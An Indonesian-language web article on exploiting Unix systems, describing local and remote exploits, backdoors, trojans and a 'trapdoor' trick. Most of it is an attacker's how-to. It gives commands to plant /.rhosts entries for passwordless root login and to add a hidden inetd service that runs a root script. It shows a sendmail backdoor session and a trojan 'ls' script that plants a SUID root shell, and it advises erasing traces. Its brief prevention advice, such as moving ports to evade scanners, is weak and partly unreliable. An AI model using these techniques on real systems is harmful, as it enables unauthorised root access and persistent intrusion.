vB

 eXpLOiT

 

 

  LINUX secure                                                                    Home

 

 

EKSPLOIT, PEMANFAATAN KELEMAHAN SISTEM

Abstract

 

Keamanan sistem dalam jaringan komputer merupakan hal yang utama. Seorang admin/pengelola sistem jaringan komputer akan selalu memantau keamanan sistemnya dari segala usaha orang luar yang ingin mengutak-atik sistemnya. Tetapi seorang admin yang teledor dapat mengakibatkan sistemnya dengan mudah dibobol orang lain. Seorang hacker/pembobol sistem akan mencari segala cara untuk membobol sistem orang lain. Setelah berhasil membobol, dia akan leluasa untuk mengutak-atik sistem tersebut. Kadang perbuatan mereka itu akan mengakibatkan sesuatu yang fatal atas sistem tersebut, karena bisa jadi beberapa file penting yang ada dalam sistem tersebut akan dihapusnya.

Kata kunci :admin, bobol, hacker, host, password, port, root, sistem

Eksploit

Eksploit dapat diartikan sebagai 'pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluar dari penggunaan normal.' Kelemahan-kelemahan tersebut dapat berupa kesalahan pemrograman, yaitu sesuatu yang tidak diperkirakan oleh si programmer. Efek dari pemanfaatan kelemahan sistem tersebut dapat memberikan kita akses yang tidak terbatas kepada seluruh aspek dari sebuah sistem. Dalam sistem yang menggunakan sistem operasi UNIX maupun variant-nya (Linux, FreeBSD, Minix, dsb), mungkin pernah kita dengar istilah 'mengeksploit program X untuk mendapat hak akses root ‘. Tetapi mendapatkan hak akses root bukanlah satu-satunya tujuan dari pengeksploitan sistem.

Eksploit dapat dibagi menjadi dua, yaitu eksploit lokal dan eksploit remote. Eksploit lokal merupakan eksploit yang hanya bisa dijalankan jika kita sudah memiliki hak akses di dalam sistem tersebut (dapat melalui fasilitas login telnet, ftp, dsb). Bagaimana caranya agar kita mendapatkan eksploit seperti ini? Tentu saja membutuhkan waktu berjam-jam untuk mengutak-utik sebuah program sampai berhasil kita bobol. Umumnya eksploit diprogram dengan bahasa C, Perl, atau sh. Di internet bahkan tersedia secara gratis, beberapa program siap pakai untuk eksploit tersebut.

Eksploit yang lain adalah eksploit remote, dimana kita dapat mengeksploit sistem tanpa perlu memiliki user maupun password pada sistem tersebut. Tentu saja eksploit jenis ini jauh lebih sedikit jumlahnya dibanding eksploit lokal, dan dampaknyapun tidak separah eksploit lokal. Seorang hacker / pembobol sistem bisa mendapatkan file passwd (file untuk menyimpan data seluruh user dan password-nya dari sistem) pada direktori /etc dengan memanfaatkan lobang/kelemahan dari fasilitas cgi-phf. Hal ini dapat berakibat fatal, karena si hacker bisa memanfaatkan login dan password dari salah satu user, sehingga dia dapat menjalankan eksploit-eksploit lokal untuk mendapatkan hak akses tak terbatas milik root. Eksploit port 143 (IMAPd) akan memberikan hak akses root tanpa password.

Beberapa program portscanner (program pencari port) dapat dimanfaatkan untuk melihat port-port mana saja yang bisa menerima koneksi. Diantaranya cgi scanner, jika dijalankan akan memeriksa direktori cgi-bin dari sejumlah sistem sekaligus. Bisa juga kita buat sendiri script / program sederhana yang dapat kita berikan daftar target beberapa sistem yang akan kita bobol, sehingga akan dapat diketahui sistem mana saja yang ada lobangnya untuk kita eksploit nantinya (dapat anda lihat artikel-artikel mengenai scanning / probing pada situs-situs hacker ). Kadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti eksploit lynx mailer, yang meskipun script-nya terletak di host lain, namun untuk memanfaatkannya masih memerlukan campurtangan dari user lokal (saat user meng-klik sebuah link, sang eksploit akan mengirimkan file password ke alamat e-mail tertentu).

Backdoor

Backdoor dapat diartikan sebagai 'pintu masuk lewat belakang'. Berfungsi untuk memberikan kepada kita, hak akses ke suatu sistem, tanpa sepengetahuan user lain ataupun si admin. Kita dapat juga dianggap sebagai 'sang penyusup'. Seringkali backdoor memberikan hak akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar (baik hardware maupun software) yang sengaja menempatkan backdoor yang tidak terdokumentasi untuk kemudahan maintenance dan sejenisnya. Pada artikel ini, yang dibahas adalah backdoor yang dapat memberikan hak akses root ke dalam sebuah sistem yang menggunakan sistem operasi UNIX maupun variant-nya, jika si admin kebetulan telah mengetahui bahwa sistemnya telah disusupi orang lain.

Diilustrasikan, kita sudah berhasil memanfaatkan login user dari hasil eksploit-eksploit remote. Kemudian telah kita jalankan eksploit-eksploit lokal untuk mendapatkan hak akses root. Tentunya akan sayang sekali, seandainya si admin mengetahui kegiatan kita kemudian menutup akses kita tersebut ke sistemnya. Nah, di sinilah manfaatnya backdoor, artinya kita telah menanam beberapa jalan masuk alternatif ke sistem tersebut. Tetapi teknik backdoor ini hanya dapat diterapkan jika kita telah memiliki hak akses root. Perlu diingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan akses root, tetapi untuk mendapatkan akses root kembali setelah si admin menutup segala jalan masuk normal. Kadang admin sering menganggap bahwa selama file-file host.deny pada direktori /etc telah dikonfigurasi, maka segala koneksi dari host lain akan ditolak. Padahal tanpa sepengetahuan admin, telah kita tanam beberapa backdoor ke sistemnya untuk mendapatkan hak akses root.

Sebenarnya ada juga backdoor yang sengaja ditanam oleh pihak vendor atas produknya, seperti produk-produk keluaran 3Com (router, printserver, dll). Di bawah akan dijelaskan cara membuat backdoor pada sebuah sistem yang menggunakan sistem operasi UNIX maupun variant-nya, dengan memanfaatkan file /.rhosts.

korban# echo "danang.co.id monalisa" >> /.rhosts

perintah diatas akan menambahkan satu entri di file /.rhosts. User monalisa pada danang.co.id memiliki hak akses tanpa password pada sistem.

Kemudian untuk dapat masuk kembali ke sistem, dengan hak akses root tanpa password, dengan account monalisa di danang.co.id adalah sbb :

monalisa@danang > rlogin -l root korban.domain-korban.com

Agar lebih tersembunyi lagi, anda perhatikan entry berikut dari file passwd pada direktori /etc :

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

Account diatas adalah account yang digunakan oleh sistem operasi UNIX secara internal. Seringkali beberapa hackers mengambil jalan singkat dengan menghapus karakter *, sehingga mengakibatkan telnet dengan login bin tidak memerlukan password. Tetapi perlu diingat bahwa file passwd pada direktori /etc, biasanya merupakan file pertama yang akan diperiksa oleh admin saat dia menyadari bahwa sistemnya telah disusupi orang lain. Agar lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home direktori milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun kita bisa :

rlogin -l bin korban.domain-korban.com

namun kita masih juga tidak bisa mendapatkan hak akses root, sebab account bin dikonfigurasikan untuk menolak penggunaan hak akses root. Cara mengatasi masalah ini tentunya dengan membuat link dari file /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang admin? Tentunya jika mereka teliti, maka mereka akan men-setup sebuah script yang memeriksa keberadaan file-file .rhosts di dalam sebuah sistem. Tidak lupa merubah entry dari account-account internal dari file /bin/false ke /tidak-ada atau script unik lainnya yang bukan merupakan nama file.

Metode backdoor yang lain adalah dengan memanfaatkan file in.rootd (ini hanyalah rekayasa saja, sebab sebenarnya tidak ada istilah root daemon, tetapi metode ini benar-benar cocok disebut rootd ) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam file inetd.

root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >> /etc/services

root@korban# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >> /etc/inetd.conf

root@korban# echo "echo danang.co.id > ~root/.rhosts" > /tmp/crax0r

menjalankan ketiga perintah di atas dapat mengakibatkan kompromisasi sistem yang cukup dahsyat, namun tidak akan segera ketahuan. Penjelasan dari ketiga perintah di atas :

1. Mengaktifkan protokol ntcp di port 6969 (dapat dipilih nomor port lain yang tidak begitu mencurigakan, mulai dari port 1024 sampai dengan port 65000-an), sedangkan Network Traffic Control Protocol adalah karangan sendiri sebab setiap service harus mempunyai nama, dan biasanya admin tidak akan begitu curiga dengan nama seperti itu.

     

  1. Memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiapkali sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell, program interpreter, yang memiliki hak akses setingkat root lewat cara ini hanya akan mengakibatkan sistem tidak akan dapat melanjutkan perintah, malfunction. Sebab kita tidak bisa memberikan perintah-perintah selayaknya kita login lewat jalur normal. Shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat sebuah script di direktori /tmp/crax0r (tentunya dengan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001).

     

     

  2. Setelah perintah ketiga ini dieksekusi oleh shell, maka kita akan mendapatkan nilai default id = 0, artinya kita setingkat root.

     

Kemudian dapat kita tambahkan entry dari mesin host kita ke file .rhosts milik root. Jika si admin memang teliti, maka program rlogind akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kita periksa isi direktori dan file history milik root dan isinya menunjukkan bahwa si admin tidak begitu memperhatikan soal keamanan sistemnya, maka metode di atas akan memberikan jalan masuk lewat belakang ke dalam sistem target. Maka kita tinggal jalankan :

monalisa@danang> telnet korban.domain-korban.com 6969

Dan, sistem kita akan tersambung ke sistem target melalui port 6969, sedangkan daemon inet, file yang mengatur pemakaian port-port dalam sebuah sistem, di mesin korban akan menerima koneksi tersebut, kemudian menjalankan perintah dalam script /tmp/crax0r dengan hak akses setingkat root, dan dengan segera koneksi melalui telnet segera ditutupnya.. Sekarang .rhosts milik root sudah ditambahi satu entry lagi, yaitu nama host kita. Untuk kembali 'mengerjai' sistem target (sebaiknya dilakukan saat itu juga, sebab si admin mungkin akan curiga melihat script 'asing' dijalankan lewat port 6969) kita tinggal menjalankan :

monalisa@danang > rlogin -l root korban.domain-korban.com

Maka kita akan mendapatkan shell root tanpa password. Tetapi segera untuk menghapus file .rhosts dan jejak-jejak lainnya.

Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID tambahan (Sticky User ID, memberikan hak akses yang sama pada orang lain untuk dapat mengakses file tersebut). Tetapi cara ini mudah terdeteksi jika kebetulan sistem mempunyai program audit keamanan yang akan menyeleksi seluruh file ber-bit SUID yang terletak di luar lokasi-lokasi yang wajar (seperti /tmp atau lokasi home directory user). Metode yang lebih ampuh lagi adalah dengan memodifikasi suatu program yang sudah berjalan secara default, seperti xterm (terminal emulasi menggunakan xwindow) dan splitvt (memisah tampilan layar menjadi 2 bagian) , sehingga sebuah option root shell akan secara otomatis mengeksekusi ("/bin/sh", "sh", NULL);.

Kita juga dapat memodifikasi daemon-daemon yang sedang berjalan untuk menerima perintah-perintah hasil rancangan kita sendiri. Di bawah ini adalah cuplikan tampilan yang telah berhasil memodifikasi program sendmail di sistem domain-korban.com.

monalisa@danang > telnet domain-korban.com 25

Trying domain-korban.com …

Connected to domain-korban.com.

Escape character is '^]'.

220 domain-korban.com ESMTP Sendmail 8.8.5/8.8.5; … [dst] …

DO_EXEC /bin/cp /bin/sh /tmp/palsu

Done … master!

DO_EXEC /bin/chmod 4755 /tmp/palsu

Done … master!

Trojan Horse

Tidak terlalu banyak penjelasan mengenai metode ini, sebab pada umumnya Trojan Horse hanya efektif jika kita betul-betul mahir menutupi suatu program atau jika si admin memang betul-betul sangat teledor. Pada prinsipnya, Trojan Horse adalah program yang mempunyai suatu perangkat tersembunyi. Misalnya kita membuat sebuah game yang cukup seru dan kita dengan sengaja menyisipkan perintah untuk membuka akses ke sistem yang menjalankan game tersebut. Sehingga saat admin menjalankan game tersebut, tanpa disadarinya file .rhosts-nya telah ditambahi satu entry lagi. Suatu contoh, seorang hacker yang mahir menulis script IRC, dan script IRC-nya kebetulan mempunyai banyak peminat. Beberapa pemakai IRC-nya men-download script tersebut tanpa menyadari bahwa dalam script tersebut telah disisipkan beberapa perintah untuk mengizinkan akses tak ber-password kepada si hacker tadi.

Trapdoor

Banyak persamaannya antara Trapdoor dengan Backdoor dan Trojan Horse, namun dalam artikel ini, 'Trapdoor' diartikan sebagai cara yang bisa kita gunakan untuk menjebak (trap) si admin untuk memberikan kita akses root ke dalam sistemnya. Seringkali kita terbentur masalah sistem operasi yang paling baru, atau sebuah sistem di mana hampir semua eksploit untuk mendapatkan akses root tidak akan berjalan sama sekali (patched systems). Tetapi masih banyak metode yang bisa kita terapkan untuk membuat si admin tertipu, yang berakibat dibukanya akses ke dalam sistemnya. Berikut adalah metode Trapdoor yang walaupun sederhana, tetapi masih saja bisa mengelabui puluhan admin. Pertama-tama, kita perlu merubah perizinan home directory kita, atau home directory milik user yang account-nya kita gunakan.

user@korban> chmod 700 ~/.

Karena sekarang home directory kita memiliki modus 700 (hak read, write dan execute), maka admin perlu mengganti kewenangannya ke root jika ingin memeriksa isi direktori yang bersangkutan. Nah, langkah berikutnya adalah membuat sebuah script yang bertugas untuk bertindak selayaknya perintah biasa, namun di luar pengetahuan si admin, justru membuka satu (atau beberapa) kelemahan dalam sistem. Di sinilah mungkin letak kelemahan dari sistem operasi UNIX maupun variant-nya dibandingkan dengan sistem operasi lainnya, misalkan MS-DOS atau Windows. Dalam sistem operasi UNIX, seorang admin yang baik akan selalu mengetik perintah secara 'full pathname' dari program manapun yang dia jalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan biasanya untuk tujuan kemudahan, biasanya perintah /bin atau /usr/sbin sudah dimasukkan dalam daftar search path, yang dengan otomatis perintah tersebut akan dijalankan walaupun posisinya tidak di direktori perintah tersebut berada. Jadi jika misalkan si admin menjalankan instruksi :

root# pwd

root# ls

maka yang akan diproses adalah program /bin/ls. Nah, ini akan berakibat fatal seandainya kita letakkan sebuah script yang diberi nama ls , yang diletakkan pada direktori /usr/home/staff/. Di bawah ini adalah contoh script sederhana tersebut :

#!/bin/sh

cp /bin/sh /tmp/vi-save-902887

chown root /tmp/vi-save-902887

chmod 4755 /tmp/vi-save-902887

rm ./ls

ls

simpan script tersebut di home directory user, dan berilah nama ls dan jalankan perintah di bawah :

user@korban> chmod +x ls

sekarang kita tinggal menunggu si admin mengecek isi home directory si user. Jika kita kebetulan mempunyai login dan password user lainnya (user2) pada sistem yang sama, maka kita dapat 'mengundang' si admin, dengan cara login sebagai user, dan kirimkan e-mail :

user@korban> mail root@localhost

Subject: "Awas !!! anda sedang dikerjai…"

Halo mr admin, sistem anda sedang di bobol nih….

Salam,

mr hacker

Pada saat admin menerima e-mail tersebut, maka si admin-pun akan segera memeriksa isi home directory user (dengan perintah ls, tentunya), dan tanpa disadarinya, si admin telah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karena vi-save-902887 ber-SUID root, kita dapat melakukan bermacam-macam hal menyenangkan dengannya. Tinggal login sebagai user2 beberapa waktu kemudian, dan manfaatkan fasilitas lewat shell root!

Pencegahannya

Untuk mencegah masalah sekuritas ini sebenarnya tergantung pada admin, artinya dengan keaktifan admin untuk selalu memantau perkembangan dan informasi terbaru mengenai bug-bug ataupun eksploit yang ada, akan lebih memperkuat sekuritas suatu sistem. Misalnya mengikuti mailing-list yang membahas tentang sekuritas, atau beberapa website yang tersedia, seperti :

Sebagai anjuran, kita dapat menutup port-port yang tidak terlalu bermanfaat. Bagi para pengguna sistem operasi UNIX maupun variant-nya, anda dapat memindah port-port tertentu, misalkan port telnet 23 dipindahkan ke port 3723. Disarankan menggunakan port > 1024, karena port-port ini hampir tidak pernah terdeteksi oleh program-program scanning yang ada saat ini.

Kesimpulan

Dengan mengenal eksploit atau bug yang ada pada setiap sistem maka sysadmin akan dengan mudah menutup lobang yang mungkin ada. Penulisan ini tidak ditujukan untuk tujuan agar seseorang dapat masuk ke dalam sistem orang lain dengan privilege root, akan tetapi dengan mengenal dan mengetahui exploit atau bug yang ada pada setiap sistem, maka diharapkan kita dapat dengan segera menutup lobang-lobang yang mungkin ada pada sistem kita sendiri.

Daftar Pustaka

Disarikan dari beberapa situs yang ada di internet serta uji coba yang telah dilakukan penulis.